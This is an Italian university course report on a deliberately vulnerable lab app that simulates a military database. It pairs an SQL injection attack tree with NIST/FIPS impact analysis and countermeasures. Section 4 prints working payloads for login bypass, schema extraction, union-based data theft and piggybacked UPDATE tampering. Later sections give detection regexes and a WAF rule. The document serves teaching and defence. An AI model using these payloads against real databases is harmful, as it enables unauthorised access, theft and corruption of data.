



SAPIENZA
UNIVERSITÀ DI ROMA

Database Militare

Albero di Attacco SQL Injection e Valutazione dell'Impatto sulla Sicurezza

Sapienza Università di Roma
Dipartimento di Informatica

Valerio Chianese e Federico D'Angelo

Corso: Sicurezza — A.A. 2024/2025

Ottobre 2025

1. Introduzione

L'SQL Injection rappresenta una vulnerabilità critica persistente, classificata terza nell'OWASP Top 10 2021. Questo progetto implementa un ambiente vulnerabile simulante un database militare classificato per dimostrare concretamente l'impatto di pratiche insicure sulla triade CIA.

1.1. Obiettivi

- Implementare applicazione web intenzionalmente vulnerabile (PostgreSQL, PHP, Apache)
- Dimostrare tecniche d'attacco diversificate (tautologie, union-based, piggybacked)
- Valutare impatto secondo framework FIPS 199 e NIST SP 800-30
- Proporre contromisure concrete implementabili

2. Background Teorico

2.1. Definizione e Meccanismo

SQL Injection sfrutta input non sanitizzati per manipolare query SQL. Il principio violato è la mancata separazione tra codice e dati: l'input utente viene interpretato come comandi SQL anziché semplici dati.

Esempio Base:

```
1 -- Query vulnerabile
2 SELECT * FROM utenti WHERE username='$input' AND password='$pass'
3
4 -- Input malevolo: admin' --
5 -- Query risultante
6 SELECT * FROM utenti WHERE username='admin' --' AND password='...'
```

2.2. Classificazione Attacchi

In-Band:

- **Tautologia:** Condizioni sempre vere ('1'='1')
- **Union-based:** Combinazione risultati tramite UNION
- **Piggybacked:** Query multiple separate da punto e virgola

Inferenziali (Blind):

- **Boolean-based:** Inferenza da variazioni risposta
- **Time-based:** Utilizzo ritardi temporizzati (SLEEP, WAITFOR)

Out-of-Band: Esfiltrazione via richieste DNS/HTTP esterne

3. Architettura Sistema

3.1. Stack Tecnologico

- **Database:** PostgreSQL 13 (supporta stacked queries)
- **Backend:** PHP 7.4 con PDO (configurazione insicura)
- **Web Server:** Apache 2.4
- **Containerizzazione:** Docker Compose (2 container isolati)

3.2. Schema Database

Tabelle Critiche:

- personale - 10 utenti militari, livelli clearance 0-4
- operazioni_intercettazione - Missioni intelligence classificate
- bersagli - Soggetti sorveglianza (identità coperte/reali)
- comunicazioni_intercettate - Contenuti decifrati
- chiavi_crittografiche - Chiavi pubbliche/private + passphrase

3.3. Endpoint Vulnerabili

Tutti implementano concatenazione diretta input senza validazione:

1. login.php - Autenticazione (bypass via tautologia)
2. search_operations.php - Ricerca operazioni (union-based)
3. search_targets.php - Ricerca bersagli (information schema)
4. communications.php - Comunicazioni intercettate
5. keys.php - Chiavi crittografiche (massima criticità)

Codice Vulnerabile Tipico:

```
1 $input = $_POST['search'];
2 $query = "SELECT * FROM tabella WHERE campo = '$input'";
3 $result = execute_query($query); // NO prepared statements
```

4. Dimostrazione Attacchi

4.1. Attacco 1: Bypass Autenticazione (Tautologia)

Payload: ' OR '1'='1' -

Query Risultante:

```
1 SELECT p.id, p.matricola, p.nome, p.cognome, p.livello_clearance
2 FROM personale p
3 WHERE p.matricola = '' OR '1'='1' -- AND p.password_hash = '...'
```

Impatto: Accesso senza credenziali, esposizione 10 utenti con livelli clearance MAX_TOP_SECRET.

4.2. Attacco 2: Information Schema Exploitation

Payload:

```
1 ' AND 1=CAST((SELECT string_agg(column_name, ','))
2 FROM information_schema.columns
3 WHERE table_name='operazioni_intercettazione') AS INT) --
```

Risultato: Errore database espone struttura completa tabella (12 colonne).

4.3. Attacco 3: Data Exfiltration (Union-Based)

Preparazione: Determinazione numero colonne via ORDER BY incrementale.

Payload Finale:

```
1 ' UNION SELECT NULL,codice_operazione,nome_operazione,
2 CAST(comandante_id AS VARCHAR),NULL,NULL,obiettivo,descrizione,
3 NULL,NULL,NULL,NULL,CAST(classificazione_id AS VARCHAR)
4 FROM operazioni_intercettazione --
```

Dati Esfiltrati:

- 10 record personale con credenziali
- 2 operazioni classificate (Falcon Eye, Shadow Net)
- 3 bersagli con identità reali (es. "Alessandro Bruno" = Ahmad Al-Rashid)
- 5 comunicazioni decifrate con coordinate GPS

4.4. Attacco 4: Integrity Violation (Piggybacked)

Modifica Valutazioni Minaccia:

```
1 '; UPDATE bersagli SET livello_minaccia='BASSO',
2 note_intelligence='Rivalutato - Nessuna minaccia'
3 WHERE livello_minaccia='CRITICO' --
```

Sabotaggio Budget:

```
1 '; UPDATE operazioni_intercettazione
2 SET budget_stanziato=0.01 WHERE classificazione_id >= 3 --
```

Corruzione Timeline:

```
1 '; UPDATE comunicazioni_intercettate
2 SET timestamp_intercettazione=to_timestamp(0) WHERE '1'='1' --
```

Conseguenze Operative:

- Errata allocazione risorse investigative
- Decisioni strategiche basate su dati falsificati
- Invalidazione timeline per analisi forensi
- Blocco operativo per vincoli budget

4.5. Attacco 5: Confidentiality Breach (Chiavi Crittografiche)

Payload: -1' OR '1'='1' ORDER BY classificazione_id DESC -

Esposizione Completa:

- Chiavi private RSA-4096 e AES-256 (blocchi PEM completi)
- Passphrase in chiaro: "TopSecret2024!", "CryptoPass2024"
- Metadati: proprietari, date validità, algoritmi

Impatto Catastrofico:

1. Decifratura retroattiva tutte comunicazioni passate
2. Impersonificazione legittimi proprietari (firma falsi)
3. Man-in-the-Middle su comunicazioni future
4. Compromissione irreversibile infrastruttura PKI

5. Analisi Impatto Sicurezza

5.1. Violazione Triade CIA

5.1.1. *Confidenzialità - IMPATTO ALTO*

Secondo FIPS 199, la divulgazione ha effetto grave/catastrofico su sicurezza nazionale:

- Dati classificati MAX_TOP_SECRET esposti
- Identità reali agenti sotto copertura rivelate
- Intelligence operativa in tempo reale compromessa
- Chiavi private esposte con passphrase

5.1.2. *Integrità - IMPATTO ALTO*

Modifiche non autorizzate alterano realtà operativa:

- Valutazioni minaccia falsificate (CRITICO → BASSO)
- Budget operazioni sabotati
- Timeline investigative corrotte (timestamp a zero)
- Chiavi valide revoked impropriamente

5.1.3. *Disponibilità - IMPATTO MEDIO-ALTO*

Potenziale distruzione dati critici:

- DELETE FROM eliminerebbe operazioni attive
- DROP TABLE danneggerebbe schema database
- Query inefficienti causerebbero DoS

5.2. Valutazione Rischio NIST SP 800-30

Probabilità: ALTA

- Facilità sfruttamento: skill tecniche minime richieste
- Rilevabilità: identificabile via fuzzing automatico
- Accessibilità: endpoint web esposti
- Motivazione attaccanti: target alto valore (stato, terroristi)

Impatto: ALTO/CATASTROFICO

- Compromissione sicurezza nazionale
- Potenziale perdita vite umane (personale esposto)
- Fallimento operazioni intelligence
- Danni reputazionali/diplomatici irreversibili

Livello Rischio Complessivo: CRITICO

Richiede azione immediata, isolamento sistema, escalation management esecutivo.

5.3. Mappatura Framework

OWASP Top 10 2021: A03 - Injection (terza posizione)

CWE:

- CWE-89: SQL Injection (primaria)
- CWE-20: Improper Input Validation (root cause)
- CWE-200: Exposure Sensitive Information
- CWE-522: Insufficiently Protected Credentials

6. Contromisure

6.1. Primarie: Prepared Statements

Soluzione definitiva - separazione codice/dati:

```
1 // Configurazione sicura PDO
2 $pdo = new PDO($dsn, $user, $pass, [
3     PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION,
4     PDO::ATTR_EMULATE_PREPARES => false // Forza prepared reali
5 ]);
6
7 // Query parametrizzata
8 $stmt = $pdo->prepare(
9     "SELECT id, nome, cognome, livello_clearance
10     FROM personale
11     WHERE matricola = :matricola AND password_hash = :password"
12 );
13
14 $stmt->bindParam(':matricola', $matricola, PDO::PARAM_STR);
15 $stmt->bindParam(':password', $password_hash, PDO::PARAM_STR);
16 $stmt->execute();
```

Limitazione: Non utilizzabili per componenti dinamici (nomi tabelle/colonne). Soluzione: whitelist validation.

6.2. Validazione Input

Whitelist (preferire sempre a blacklist):

```
1 // Formato matricola: lettera + 3 cifre
2 if (!preg_match('/^[A-Z][0-9]{3}$/', $matricola)) {
3     throw new ValidationException("Formato non valido");
4 }
5
6 // Type enforcement
7 $user_id = (int) $_GET['id'];
8 if ($user_id < 1) throw new ValidationException();
9
10 // Length restrictions
11 if (strlen($input) > 50) throw new ValidationException();
```

6.3. Least Privilege

Permessi Database Minimi:

```
1 -- Revoca tutto
2 REVOKE ALL ON DATABASE vulnerable_db FROM webapp;
3
4 -- Solo necessario
5 GRANT SELECT ON personale, operazioni TO webapp;
6 GRANT INSERT ON comunicazioni_intercettate TO webapp;
7
```

```
8  -- NO DELETE, DROP, ALTER, GRANT
9  -- Revoca funzioni pericolose
10 REVOKE EXECUTE ON FUNCTION pg_read_file FROM webapp;
```

Row-Level Security:

```
1 ALTER TABLE operazioni_intercettazione ENABLE ROW LEVEL SECURITY;
2
3 CREATE POLICY clearance_policy ON operazioni_intercettazione
4 FOR SELECT USING (
5     classificazione_id <= current_setting('app.user_clearance')::INT
6 );
```

6.4. Error Handling Sicuro

```
1 try {
2     $stmt->execute();
3 } catch (PDOException $e) {
4     // Log completo server-side
5     error_log("DB error: " . $e->getMessage());
6
7     // Messaggio generico utente
8     http_response_code(500);
9     die(json_encode(['error' => 'Errore interno. ID: ' . uniqid('ERR_')]));
10 }
```

6.5. WAF e Monitoring

ModSecurity Rules:

```
1 SecRule ARGS "@rx (\bor\b.*=|union.*select|insert.*into)" \
2     "id:1000,phase:2,deny,status:403,msg:'SQLi Detected'"
```

Anomaly Detection:

- Volume query anomalo per utente/IP
- Errori ripetuti (indicativo di probing)
- Accessi fuori pattern normale

Logging Completo:

```
1 // Log tentativi sospetti
2 if (preg_match('/(\bor\b|union|--|\/\*)/', $input)) {
3     $logger->warning("Potential SQLi", [
4         'input' => substr($input, 0, 100),
5         'ip' => $_SERVER['REMOTE_ADDR'],
6         'endpoint' => $_SERVER['REQUEST_URI']
7     ]);
8 }
```

6.6. SAST/DAST Integration

Static Analysis:

- SonarQube - identifica concatenazione SQL
- Semgrep - pattern matching anti-patterns

Dynamic Testing:

- SQLMap - rilevamento automatico SQLi
- OWASP ZAP - scanning vulnerabilità

6.7. Raccomandazioni Timeline

Immediate (settimana 1):

- Audit codice per concatenazione stringhe SQL
- Implementazione prepared statements endpoint critici
- Configurazione error handling non espositivo
- Revisione permessi database (least privilege)

Short-term (1-3 mesi):

- Integrazione SAST/DAST in CI/CD
- Deployment WAF con regole SQLi
- Logging e monitoring completo
- Training sviluppatori OWASP Top 10

Long-term (3-12 mesi):

- Adozione Secure Development Lifecycle completo
- Penetration testing periodico terze parti
- Bug bounty program
- Continuous security improvement

7. Conclusioni

7.1. Risultati Ottenuti

Il progetto ha dimostrato concretamente:

- Sistema funzionante PostgreSQL+PHP+Apache containerizzato
- Cinque scenari attacco distinti con impatti differenziati
- Violazione sistematica triade CIA
- Rischio CRITICO secondo framework NIST
- Contromisure concrete implementabili

7.2. Lezioni Chiave

Persistenza Vulnerabilità Note: SQLi conosciuta 25+ anni, ma continua a rappresentare minaccia critica per:

- Sistemi legacy difficili aggiornare
- Pressioni tempi sviluppo
- Formazione inadeguata sviluppatori
- Complessità software moderno

Asimmetria Attacco-Difesa: Attacchi richiedono skill minime (browser sufficiente), difesa richiede competenze specialistiche e investimenti continui. Singolo endpoint vulnerabile compromette intero sistema.

Separazione Codice-Dati: Principio fondamentale violato in tutte vulnerabilità. Prepared statements risolvono architetturalmente, rendendo impossibile interpretazione dati come codice.

Defense in Depth Necessario: Nessuna contromisura singola infallibile. Solo approccio stratificato (tecnico + procedurale + organizzativo) fornisce protezione adeguata.

7.3. Limitazioni

- Ambiente simulato deliberatamente vulnerabile (sistema reale avrebbe MFA, encryption in transit, network segmentation)
- Tecniche limitate a in-band (blind time-based, out-of-band, second-order non esplorate)
- Scenario white-box (attaccante reale richiederebbe reconnaissance estensivo)
- Contromisure documentate ma non implementate (manca versione hardened comparativa)

7.4. Sviluppi Futuri

- Implementazione blind SQL injection time-based
- Tecniche evasione WAF (encoding, obfuscation, polimorfismo)
- Analisi comparativa DBMS (MySQL, SQL Server, Oracle)
- Sistema rilevamento anomalie ML-based
- Quantificazione overhead performance contromisure
- Framework standardizzato assessment postura sicurezza

7.5. Implicazioni Professionali

Sviluppatori: Sempre prepared statements, validazione whitelist rigorosa, SAST integration, training continuo.

DBA: Privilegi minimi, RLS granulari, disabilitazione funzionalità pericolose, monitoring query anomale.

Security Engineers: WAF con regole aggiornate, SIEM configuration, penetration testing periodico, incident response playbooks.

Management: Risorse adeguate per sicurezza, cultura security-first, assessment obbligatorio pre-deployment.

7.6. Considerazione Finale

SQL Injection rappresenta vulnerabilità antica ma persistente. Le contromisure sono mature e implementabili (prepared statements = soluzione elegante). La persistenza indica barriere non tecniche (culturali, organizzative, educative). Soluzione richiede approccio olistico: tecnologia + processi + formazione + cultura sicurezza.

Solo impegno continuo e collaborativo (sviluppatori + security professionals + DBA + management) costruisce sistemi resistenti efficacemente, proteggendo dati critici in mondo digitalizzato dove sicurezza applicazioni non è optional ma necessità fondamentale.

References

- [1] OWASP Foundation. (2021). *OWASP Top Ten 2021*. <https://owasp.org/Top10/>
- [2] OWASP Foundation. (2023). *SQL Injection*. https://owasp.org/www-community/attacks/SQL_Injection
- [3] NIST. (2020). *SP 800-53 Rev. 5: Security and Privacy Controls*.
- [4] NIST. (2012). *SP 800-30 Rev. 1: Risk Assessment Guide*.
- [5] NIST. (2004). *FIPS 199: Security Categorization Standards*.
- [6] MITRE. (2023). *CWE-89: SQL Injection*. <https://cwe.mitre.org/data/definitions/89.html>
- [7] Stallings, W., & Brown, L. (2018). *Computer Security: Principles and Practice* (4th ed.).
- [8] Halfond et al. (2006). *Classification of SQL-Injection Attacks and Countermeasures*. IEEE SSSE.
- [9] Clarke, J. (2012). *SQL Injection Attacks and Defense* (2nd ed.). Syngress.
- [10] Verizon. (2023). *Data Breach Investigations Report 2023*.